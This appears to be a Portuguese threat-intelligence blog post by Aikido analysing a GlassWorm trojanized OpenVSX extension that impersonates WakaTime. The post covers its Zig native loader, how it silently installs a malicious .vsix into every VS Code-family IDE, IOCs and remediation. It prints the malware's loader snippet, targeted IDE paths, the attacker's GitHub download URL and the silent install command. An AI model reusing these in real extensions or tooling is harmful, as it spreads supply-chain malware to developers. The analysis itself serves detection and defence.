Temos rastreado GlassWorm há mais de um ano. Ele apareceu pela primeira vez em Março de 2025, quando a Aikido descobriu pacotes npm maliciosos escondendo payloads dentro de caracteres Unicode invisíveis. A campanha se expandiu repetidamente desde então, comprometendo centenas de projetos no GitHub, npm e VS Code, e mais recentemente entregando um RAT persistente através de uma extensão falsa do Chrome que registrava as teclas digitadas e extraía cookies de sessão. O grupo continua iterando, e eles acabaram de dar um salto significativo.
Observamos esta nova técnica em uma extensão OpenVSX chamada code-wakatime-activity-tracker. A extensão personifica WakaTime, a popular ferramenta de rastreamento de tempo para desenvolvedores, e distribui um binário nativo compilado em Zig junto com seu código JavaScript. Esta não é a primeira vez que GlassWorm recorre ao uso de código nativo compilado em extensões. No entanto, em vez de usar o binário como payload diretamente, ele é usado como uma indireção furtiva para o conhecido dropper GlassWorm, que agora infecta secretamente todas as outras IDEs que pode encontrar em seu sistema.
O dropper: uma extensão trojanizada
A extensão code-wakatime-activity-tracker, publicada no OpenVSX, é quase idêntica à extensão legítima do WakaTime na superfície: os mesmos registros de comando, os mesmos prompts de chave API, os mesmos ícones da barra de status. A divergência ocorre em um único lugar: o activate() função.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Antes que qualquer lógica do WakaTime seja executada, a extensão carrega um binário nativo do ./bin/ diretório empacotado junto com a extensão e imediatamente chama install(). No Windows, este é win.node, uma DLL PE32+. No macOS, é mac.node, um Mach-O universal que abrange x86_64 e arm64. São addons nativos do Node.js: bibliotecas compartilhadas compiladas que carregam diretamente no runtime do Node e executam fora do sandbox JavaScript com acesso total ao nível do sistema operacional. Ambos são escritos em Zig. O binário do macOS foi compilado com símbolos de depuração intactos, revelando um caminho de projeto /Users/davidioasd/Downloads/vsx_installer_zig.
Infectando cada IDE na máquina
Uma vez carregado, o primeiro trabalho do binário é encontrar cada IDE instalada na máquina que suporta o formato de extensão do VS Code. Ele então instala silenciosamente uma extensão maliciosa em cada um que encontra.
Windows (de win.node):
%LOCALAPPDATA%\Programas\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programas\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programas\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programas\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programas\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programas\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (de mac.node):
/Aplicativos/Visual Studio Code.app/Conteúdo/Recursos/app/bin/code
/Aplicativos/Visual Studio Code - Insiders.app/.../code-insiders
/Aplicativos/Cursor.app/Conteúdo/Recursos/app/bin/cursor
/Aplicativos/Windsurf.app/Conteúdo/Recursos/app/bin/windsurf
/Aplicativos/VSCodium.app/Conteúdo/Recursos/app/bin/codium
/Aplicativos/Positron.app/Conteúdo/Recursos/app/bin/positronEste não é um ataque exclusivo do VS Code: ele abrange todo o ecossistema de editores que compartilham o mesmo sistema de extensão: VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium e Positron. Um desenvolvedor usando o Cursor como seu editor principal, mas com o VS Code também instalado, encontraria ambos comprometidos.
Com a lista de IDEs construída, o binário busca um malicioso .vsix de uma página do GitHub Releases controlada pelo atacante:
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixO pacote se passa por steoates.autoimport, uma extensão legítima e popular do VS Code com milhões de instalações. O arquivo baixado .vsix é gravado em um caminho temporário, então instalado silenciosamente em cada IDE encontrada na etapa anterior usando o instalador CLI de cada editor. No Windows, isso é executado através de cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Após a instalação, cleanupVsix exclui o arquivo baixado para remover as evidências.
A extensão de segunda etapa
O .vsix forçado é o mesmo dropper GlassWorm que temos rastreado e analisado em profundidade. Ele faz geofencing em sistemas russos, envia beacons para um C2 baseado na blockchain Solana e, em nossa análise anterior, descobrimos que ele realiza exfiltração de segredos e instala um RAT persistente, incluindo uma extensão maliciosa do Chrome.

Como a Aikido detecta isso
Se você instalou specstudio/code-wakatime-activity-tracker ou ver floktokbok.autoimport em qualquer uma das suas listas de extensões IDE, trate sua máquina como comprometida e rotacione quaisquer Secrets que poderiam ter sido acessados.
Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.
Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.
Para uma cobertura mais ampla em toda a sua equipe, o Endpoint Protection do Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins de IDE e dependências de build, tudo em um só lugar. Impeça o malware antes que ele seja instalado.
Para proteção futura, considere o Aikido Safe Chain (código aberto). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra o Aikido Intel antes da instalação.
IOCs
Extensões
specstudio/code-wakatime-activity-tracker(extensão OpenVSX trojanizada)autoimport-2.7.9(implante de segunda etapa em IDEs)
Arquivos
win.nodedentro do diretório ./bin/ de qualquer extensão do VS Code- SHA-256:
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256:
mac.nodedentro do diretório ./bin/ de qualquer extensão do VS Code- SHA-256:
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256:
Rede
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Strings
vsx_installer_zig(nome do projeto Zig encontrado no binário do macOS)davidioasd(Nome de usuário encontrado no binário do macOS)

